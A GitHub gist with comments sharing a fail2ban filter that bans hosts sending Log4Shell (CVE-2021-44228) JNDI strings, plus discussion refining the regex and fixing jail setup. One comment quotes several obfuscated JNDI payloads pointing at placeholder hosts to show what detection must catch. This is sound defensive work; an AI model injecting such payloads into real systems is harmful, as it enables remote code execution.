Skip to content

Instantly share code, notes, and snippets.

@jaygooby
Last active February 2, 2022 12:04
  • Star 29 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
Save jaygooby/3502143639e09bb694e9c0f3c6203949 to your computer and use it in GitHub Desktop.
fail2ban filter rule for the log4j CVE-2021-44228 exploit
# log4j jndi exploit CVE-2021-44228 filter
# Save this file as /etc/fail2ban/filter.d/log4j-jndi.conf
# then copy and uncomment the [log4j-jndi] section
# to /etc/fail2ban/jail.local
#
# jay@gooby.org
# https://jay.gooby.org/2021/12/13/a-fail2ban-filter-for-the-log4j-cve-2021-44228
# https://gist.github.com/jaygooby/3502143639e09bb694e9c0f3c6203949
# Thanks to https://gist.github.com/kocour for a better regex
#
# Bad actors trying to exploit log4j - instaban them with
# this in your /etc/fail2ban/jail.local
#
# We're using maxretry = 1
# because we know that they're a bad actor...
#
# [log4j-jndi]
# maxretry = 1
# enabled = true
# port = 80,443
# logpath = /path/to/your/*access.log
[Definition]
failregex = (?i)^<HOST> .* ".*\$.*(7B|\{).*(lower:)?.*j.*n.*d.*i.*:.*".*?$
@kocour
Copy link

kocour commented Dec 14, 2021

regex should better be like this...
failregex = ^ .* "(HEAD|GET|POST) /.jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http).".*?$

@jaygooby
Copy link
Author

jaygooby commented Dec 14, 2021

Ah, yes of course, you're right; urls can contain jndi:ldap, jndi:rmi, jndi:dns etc, not just jndi:ldap

@jaygooby
Copy link
Author

jaygooby commented Dec 14, 2021

Let's make it nice and simple with jndi:.*

@kocour
Copy link

kocour commented Dec 14, 2021

yep... I just recognized GH filtered some chars from my line, it should be

failregex = ^<HOST> .* "(HEAD|GET|POST) /.*jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http).*".*?$

@kocour
Copy link

kocour commented Dec 14, 2021

imho there is pretty high chance it will hit some false positives if you leave it too much generic like jndi:.*

@jaygooby
Copy link
Author

👍 edited

@ronanchilvers
Copy link

You might find requests still get through:

  • POST requests may have an exploit payload but hit a URL which doesn't match our patterns. Fail2ban can't read the payload.
  • The string can get complex. See below from tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce - we've seen most of the below examples in our log entries. However I think there's a pretty high chance of false positives with a regex to catch all of these.
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

@kocour
Copy link

kocour commented Dec 14, 2021

@ronanchilvers My logs looks very similar to yours and I agree it's most likely impossible to catch all request variants while not having high percentage of false positives. Primary goal should always be to patch log4j vulnerability on the system. I take this as a little revenge on those annoy-o-scanners ;-)

@ronanchilvers
Copy link

@kocour 😆 agreed on both points!

@jaygooby
Copy link
Author

I've been rechecking with my own logs (last 10 million entries) and I've had far better matches and no false positives with this rule:

failregex    = (?i)^<HOST> .* ".*\$.*(7B|\{).*(lower:)?.*j.*n.*d.*i.*:.*".*?$

which will case-insensitive check the URL, referer and user-agent too (I had a lot of regular URL requests but with jndi: referers).

This matches against a requirement for at least a leading $ followed by {, (regular or escaped) followed by jndi: (but allowing for extra ${ and so on, in between).

You should verify this yourself against your own logs. Most importantly, check for false positives by looking at the Missed line(s) section:

sudo fail2ban-regex --print-all-matched --print-all-missed /path/to/access.log /etc/fail2ban/filter.d/log4j-jndi.conf |less

@ronanchilvers
Copy link

Thanks @jaygooby - I'll do some testing.

@dakloifarwa
Copy link

dakloifarwa commented Dec 17, 2021

I just added
filter = log4j-jndi
to the section in jail.local

@ursut
Copy link

ursut commented Dec 18, 2021

It should also match (URL encoded) requests like:
/?a=%24%7Bjndi%3Aldap%3A/

Tested:
failregex = (?i)^<HOST> .* ".*(\$|%%24).*(\{|%%7B).*(lower:)?.*j.*n.*d.*i.*(:|%%3A).*".*?$

@Link0Darck
Copy link

Link0Darck commented Dec 18, 2021

In any case, there is something missing in the "jail" but I don't do what?
and I don't know what exactly to put in failregex as many people don't have the same one.

log4j-jndi.conf :

`
log4j jndi exploit CVE-2021-44228 filter
Save this file as /etc/fail2ban/filter.d/log4j-jndi.conf
then copy and uncomment the [log4j-jndi] section
to /etc/fail2ban/jail.local

jay@gooby.org
https://jay.gooby.org/2021/12/13/a-fail2ban-filter-for-the-log4j-cve-2021-44228
https://gist.github.com/jaygooby/3502143639e09bb694e9c0f3c6203949
Thanks to https://gist.github.com/kocour for a better regex

Bad actors trying to exploit log4j - instaban them with
this in your /etc/fail2ban/jail.local

We're using maxretry = 1
because we know that they're a bad actor...

[log4j-jndi]
maxretry = 1
enabled = true
port = 80,443
logpath = /path/to/your/*access.log

[Definition]
failregex = (?i)^ .* ".$.(7B|{).*(lower:)?.*j.n.d.i.:.".?$`

jail.local :

LOG4J HTTP/HTTPS [log4j-jndi] maxretry = 1 enabled = true filter = log4j-jndi port = 80,443 logpath = /var/www/neko-world/log/requests.log Ban IP and report to AbuseIPDB for LOG4J action = %(action_)s %(action_abuseipdb)s[abuseipdb_category="3,4,6,10,15,18,20,22"]

systemctl status :

` fail2ban.service - Fail2Ban Service
Loaded: loaded (/usr/lib/systemd/system/fail2ban.service; enabled; vendor preset: disabled)
Active: failed (Result: exit-code) since Sat 2021-12-18 21:32:26 CET; 2s ago
Docs: man:fail2ban(1)
Process: 28867 ExecStop=/usr/bin/fail2ban-client stop (code=exited, status=0/SUCCESS)
Process: 31391 ExecStart=/usr/bin/fail2ban-server -xf start (code=exited, status=255)
Process: 31389 ExecStartPre=/bin/mkdir -p /run/fail2ban (code=exited, status=0/SUCCESS)
Main PID: 31391 (code=exited, status=255)

déc. 18 21:32:26 neko-world.local systemd[1]: Starting Fail2Ban Service...
déc. 18 21:32:26 neko-world.local systemd[1]: Started Fail2Ban Service.
déc. 18 21:32:26 neko-world.local fail2ban-server[31391]: 2021-12-18 21:32:26,609 fail2ban [31391]: ERROR Failed during configuration: Have not found any log file for log4j-jndi jail
déc. 18 21:32:26 neko-world.local fail2ban-server[31391]: 2021-12-18 21:32:26,623 fail2ban [31391]: ERROR Async configuration of server failed
déc. 18 21:32:26 neko-world.local systemd[1]: fail2ban.service: Main process exited, code=exited, status=255/n/a
déc. 18 21:32:26 neko-world.local systemd[1]: fail2ban.service: Failed with result 'exit-code'.`

@dakloifarwa
Copy link

You should debug your jail.local. Did you set a valid log path?
You could post your log4j section here for help if you would like to.

@dakloifarwa
Copy link

Do we need to extend the regex pattern for the next CVE? CVE-2021-45105
https://thehackernews.com/2021/12/apache-issues-3rd-patch-to-fix-new-high.html
Any ideas?

@Link0Darck
Copy link

I debugged my jail.local and the problem is log4j

@JarmBlueOak
Copy link

JarmBlueOak commented Jan 19, 2022

Just collating in a single comment the changes I chose/had to make to get this working for me, mostly from the comments above.

# log4j jndi exploit CVE-2021-44228 filter
# Save this file as /etc/fail2ban/filter.d/log4j-jndi.conf
# then copy and uncomment the [log4j-jndi] section 
# to /etc/fail2ban/jail.local
#
# jay@gooby.org
# https://jay.gooby.org/2021/12/13/a-fail2ban-filter-for-the-log4j-cve-2021-44228
# https://gist.github.com/jaygooby/3502143639e09bb694e9c0f3c6203949
# Thanks to https://gist.github.com/kocour for a better regex
#
# Bad actors trying to exploit log4j - instaban them with
# this in your /etc/fail2ban/jail.local
#
# We're using maxretry = 1 
# because we know that they're a bad actor...
#
# [log4j-jndi]
# maxretry = 1
# filter = log4j-jndi
# action = your_actions_here
# enabled = true
# port = 80,443
# logpath = /path/to/your/*access.log

[Definition]
failregex = (?i)^<HOST> .* ".*(\$|%%24).*(\{|%%7B).*(lower:)?.*j.*n.*d.*i.*(:|%%3A).*".*?$
ignoreregex = 

I chose to use the regex suggested by @ursut. Thanks for sharing this @jaygooby!

@Link0Darck
Copy link

Link0Darck commented Jan 30, 2022

I found the problem there is no backend your jail says it doesn't find the logs so I point to the logs but need to put a backend

[log4j-jndi]
maxretry = 1
enabled = true
filter = log4j-jndi
port    = 80,443
logpath = /var/log/httpd/*access.log
backend  = %(syslog_backend)s
# Ban IP and report to AbuseIPDB for LOG4J
action = %(action_)s
         %(action_abuseipdb)s[abuseipdb_category="3,4,6,15,18,20,22"]

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment